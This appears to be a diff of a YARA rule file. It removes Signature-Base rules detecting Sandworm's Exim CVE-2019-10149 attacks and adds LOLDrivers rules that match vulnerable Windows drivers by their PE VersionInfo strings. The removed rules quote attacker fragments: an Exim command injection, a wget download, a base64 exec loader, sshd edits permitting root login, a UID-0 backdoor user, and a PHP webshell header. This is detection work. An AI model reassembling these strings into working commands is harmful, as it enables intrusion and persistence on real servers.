+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200041006c006d00690063006f00200053006f00660074007700610072006500200032003000300031002d0032003000310030 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and $a1 and 1 of ($b*) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_Sandworm_Keywords_May20_1 : CVE_2019_10149 FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrddkprovider_Rtportsys_Windowsrddkdriver_6F80 : FILE
 {
 	meta:
-		description = "Detects commands used by Sandworm group to exploit critical vulernability CVE-2019-10149 in Exim"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e0d4e90e-5547-5487-8d0c-a141d88fff7c"
-		date = "2020-05-28"
-		modified = "2023-12-05"
-		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_exim_expl.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9f9a81ff0c576f05ac063eaca7a5882dbdb09c9a0778610cca2864636a00efce"
-		score = 75
-		quality = 85
-		tags = "CVE-2019-10149, FILE"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtport.sys"
+		author = "Florian Roth"
+		id = "8ed20998-ff6a-56d1-aa40-b6b35f308cbd"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8512-L8531"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6f806a9de79ac2886613c20758546f7e9597db5a20744f7dd82d310b7d6457d0"
+		logic_hash = "707ec81c9fb679a439f23e97e92c6d08b541cd433bfa4fa4296a664cabb403d0"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$x1 = "MAIL FROM:<$(run("
-		$x2 = "exec\\x20\\x2Fusr\\x2Fbin\\x2Fwget\\x20\\x2DO\\x20\\x2D\\x20http"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00470065006e006500720069006300200050006f0072007400200049002f004f }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031003600320030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00300030002e0032003100390035002e0031003600320030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007200740070006f00720074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200032003000300030002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007200740070006f00720074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d006900630072006f0073006f0066007400200043006f00720070002e00200031003900380031002d0031003900390039 }
 
 	condition:
-		filesize <8000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_Sandworm_SSH_Key_May20_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realtek_Rtkiowxsys_Realtekiodriver_B205 : FILE
 {
 	meta:
-		description = "Detects SSH key used by Sandworm on exploited machines"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ea2968b8-7ae4-56b8-9547-816c5e37c50a"
-		date = "2020-05-28"
-		modified = "2023-12-05"
-		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_exim_expl.yar#L17-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "23a43849dfaa80bad2ca4f46b53181b3a4855ee89673ae9b658c854069b9aaa9"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkiow8x64.sys "
+		author = "Florian Roth"
+		id = "0246761e-08b5-557b-950c-598083488d4f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8534-L8553"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "b205835b818d8a50903cf76936fcf8160060762725bd74a523320cfbd091c038"
+		logic_hash = "8313ea1ab68c635fd99927884741a087ea5d93e3e2d3d3c9171609f17545d3cc"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
-		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
 
 	strings:
-		$x1 = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2q/NGN/brzNfJiIp2zswtL33tr74pIAjMeWtXN1p5Hqp5fTp058U1EN4NmgmjX0KzNjjV"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e0032003000320030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e0032003000320030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00770038007800360034002e0073007900730020 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00770038007800360034002e0073007900730020 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003200300020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
 
 	condition:
-		filesize <1000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_Sandworm_SSHD_Config_Modification_May20_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Filseclabcorporation_Filnk_Filseclabdynamicdefensesystem_AE55 : FILE
 {
 	meta:
-		description = "Detects ssh config entry inserted by Sandworm on compromised machines"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dd60eeb7-3d4b-5a6a-8054-50c617ee8c73"
-		date = "2020-05-28"
-		modified = "2023-12-05"
-		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_exim_expl.yar#L33-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5775588b3a9d44e9eb2c8ef0f50351d7e3b06f1005f669775fae7187900d5999"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - filnk.sys"
+		author = "Florian Roth"
+		id = "cedb7acf-a1a9-566c-becd-f3e9952a9a3d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8556-L8575"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ae55a0e93e5ef3948adecf20fa55b0f555dcf40589917a5bfbaa732075f0cc12"
+		logic_hash = "36e491c2841bb77cfc3c07545a30af7edef940e4f36fffd33f6a35f5d8980c86"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
-		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
 
 	strings:
-		$x1 = "AllowUsers mysql_db" ascii
-		$a1 = "ListenAddress" ascii fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00460069006c007300650063006c00610062002000440079006e0061006d0069006300200044006500660065006e00730065002000530079007300740065006d0020004400720076 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00460069006c007300650063006c0061006200200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200030002c00200030002c002000310039003300350033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200030002c00200030002c002000310039003300350033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00660069006c006e006b }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00460069006c007300650063006c00610062002000440079006e0061006d0069006300200044006500660065006e00730065002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00660069006c006e006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d0032003000310033002000460069006c007300650063006c0061006200200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		filesize <10KB and all of them
+		uint16(0)==0x5a4d and filesize <900KB and all of them
 }
-rule SIGNATURE_BASE_APT_Sandworm_Initfile_May20_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_CBF7 : FILE
 {
 	meta:
-		description = "Detects mysql init script used by Sandworm on compromised machines"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0bd613e3-6bd4-5cec-bc0d-2bdb83caf142"
-		date = "2020-05-28"
-		modified = "2023-12-05"
-		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_exim_expl.yar#L51-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "989f37069820d9ecf67dc71e4761a7cde2c1adf8db40b5f8a47e9c610ddec2e6"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sandra.sys"
+		author = "Florian Roth"
+		id = "b6cf6e40-1414-57a4-839a-7bd45e33b6c8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8578-L8597"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "cbf74bed1a4d3d5819b7c50e9d91e5760db1562d8032122edac6f0970f427183"
+		logic_hash = "4093b8e8e67632b5ee28b0e8843398e3e32c33b6fbb18c68730f4495d4c025ad"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
-		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
 
 	strings:
-		$s1 = "GRANT ALL PRIVILEGES ON * . * TO 'mysqldb'@'localhost';" ascii
-		$s2 = "CREATE USER 'mysqldb'@'localhost' IDENTIFIED BY '" ascii fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e00640072006100200044006500760069006300650020004400720069007600650072002000280049004100360034002900280055006e00690063006f006400650029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00310038002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00310038002e0031002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d00500072006500730065006e0074002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		filesize <10KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_Sandworm_User_May20_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_A475 : FILE
 {
 	meta:
-		description = "Detects user added by Sandworm on compromised machines"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ada549a4-abcc-5c0a-9601-75631e78c835"
-		date = "2020-05-28"
-		modified = "2023-12-05"
-		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_exim_expl.yar#L68-L84"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d052792a674dfa2d93a048b550ea085c3b9225662fdb09bf4a602093b0527e38"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "54901649-06c2-5bcb-a725-8a4d206dc00c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8600-L8619"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a47555d04b375f844073fdcc71e5ccaa1bbb201e24dcdebe2399e055e15c849f"
+		logic_hash = "212de91b3abdc9948aad64531983df3c75e36ff73e56a6b5e8a488571fc39465"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
-		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
 
 	strings:
-		$s1 = "mysql_db:x:" ascii
-		$a1 = "root:x:"
-		$a2 = "daemon:x:"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056006900640069006100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00300030002e00320030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00300030002e00320030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		filesize <4KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_WEBSHELL_PHP_Sandworm_May20_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_66F8 : FILE
 {
 	meta:
-		description = "Detects GIF header PHP webshell used by Sandworm on compromised machines"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b9ec02c2-fa83-5f21-95cf-3528047b2d01"
-		date = "2020-05-28"
-		modified = "2023-12-05"
-		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_exim_expl.yar#L86-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0d10f618c7b465c7691d6054e994a76f56c12eb0a36d2d98b5accd2c1e2c1da7"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		id = "4ced2cc9-9068-5e5f-a9c6-f091b4550028"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8622-L8641"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "66f8bd2b29763acfbb7423f4c3c9c3af9f3ca4113bd580ab32f6e3ee4a4fc64e"
+		hash = "7f84f009704bc36f0e97c7be3de90648a5e7c21b4f870e4f210514d4418079a0"
+		logic_hash = "bb8f360956167a6616fa3449f4dcbc78f938a69c979298d921757c6f1e779601"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
-		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
 
 	strings:
-		$h1 = "GIF89a <?php $" ascii
-		$s1 = "str_replace(" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310031002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		filesize <10KB and $h1 at 0 and $s1
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_SH_Sandworm_Shell_Script_May20_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Dcprotectsys_Dcprotectrwinxdriver_55B5 : FILE
 {
 	meta:
-		description = "Detects shell script used by Sandworm in attack against Exim mail server"
-		author = "Florian Roth (Nextron Systems)"
-		id = "21cf2c89-5511-5eb6-a2dd-4ad54ebfa2d1"
-		date = "2020-05-28"
-		modified = "2023-12-05"
-		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_exim_expl.yar#L103-L129"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b9116585e74ad6159cd31c0c8a84566f981a62ca5b5f82ace8b855a180461071"
-		score = 75
-		quality = 60
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - DcProtect.sys"
+		author = "Florian Roth"
+		id = "91f857f9-14eb-5b6d-8aed-41c2dae736e1"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8644-L8663"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "55b5bcbf8fb4e1ce99d201d3903d785888c928aa26e947ce2cdb99eefd0dae03"
+		logic_hash = "3379ec91998a5850e3181784a43fa669817d2f3930bc790bf7b46857a2393d93"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
-		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
 
 	strings:
-		$x1 = "echo \"GRANT ALL PRIVILEGES ON * . * TO 'mysqldb'@'localhost';\" >> init-file.txt" ascii fullword
-		$x2 = "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version" ascii fullword
-		$x3 = "sed -i -e '/PasswordAuthentication/s/no/yes/g; /PermitRootLogin/s/no/yes/g;" ascii fullword
-		$x4 = "useradd -M -l -g root -G root -b /root -u 0 -o mysql_db" ascii fullword
-		$s1 = "/ip.php?port=${PORT}\"" ascii fullword
-		$s2 = "sed -i -e '/PasswordAuthentication" ascii fullword
-		$s3 = "PATH_KEY=/root/.ssh/authorized_keys" ascii fullword
-		$s4 = "CREATE USER" ascii fullword
-		$s5 = "crontab -l | { cat; echo" ascii fullword
-		$s6 = "mysqld --user=mysql --init-file=/etc/opt/init-file.txt --console" ascii fullword
-		$s7 = "sshkey.php" ascii fullword
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044006300500072006f00740065006300740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0044006300500072006f00740065006300740020002800520029002000570069006e003700780038003600200064007200690076006500720020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032002d00320030003200300020004a00690061006e0067006d0065006e0020004500790075006e0020004e006500740077006f0072006b00200043006f002e002c004c00740064002e00200032003000310039 }
 
 	condition:
-		uint16(0)==0x2123 and filesize <20KB and 1 of ($x*) or 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_RU_Sandworm_PY_May20_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_1A4F : FILE
 {
 	meta:
-		description = "Detects Sandworm Python loader"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a392d800-1fe8-5ae9-b813-e1dfcedecda6"
-		date = "2020-05-28"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/billyleonard/status/1266054881225236482"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_exim_expl.yar#L131-L148"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2ccc4c7fc75c04cbcab34904de2e7ab055a15c1017ec0f8d01b06454f4395047"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
+		author = "Florian Roth"
+		id = "a7b74018-53bc-5f36-b1cd-50d87c5928e0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L8666-L8689"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1a4f7d7926efc3e3488758ce318246ea78a061bde759ec6c906ff005dd8213e5"
+		hash = "0da746e49fd662be910d0e366934a7e02898714eaaa577e261ab40eb44222b5c"
+		hash = "e32ab30d01dcff6418544d93f99ae812d2ce6396e809686620547bea05074f6f"
+		hash = "01e024cb14b34b6d525c642a710bfa14497ea20fd287c39ba404b10a8b143ece"
+		hash = "ecfc52a22e4a41bf53865b0e28309411c60af34a44e31a5c53cdc8c5733e8282"
+		logic_hash = "46cf4eeb547c5924f29ba44a85da013b505732cea5f2ddc8e7e8645b793994a9"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "c025008463fdbf44b2f845f2d82702805d931771aea4b506573b83c8f58bccca"
 
 	strings:
-		$x1 = "o.addheaders=[('User-Agent','Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko')]" ascii fullword
-		$s1 = "exec(o.open('http://" ascii
-		$s2 = "__import__({2:'urllib2',3:'urllib.request'}"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0031002e0037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0031002e0037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 }
 
 	condition:
-		uint16(0)==0x6d69 and filesize <1KB and 1 of ($x*) or 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_RU_Sandworm_PY_May20_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Filseclabcorporation_Filwfp_Filseclabfirewall_490C : FILE
 {
 	meta:
-		description = "Detects Sandworm Python loader"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5b32ad64-d959-5632-a03c-17aa055b213f"
-		date = "2020-05-28"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/billyleonard/status/1266054881225236482"
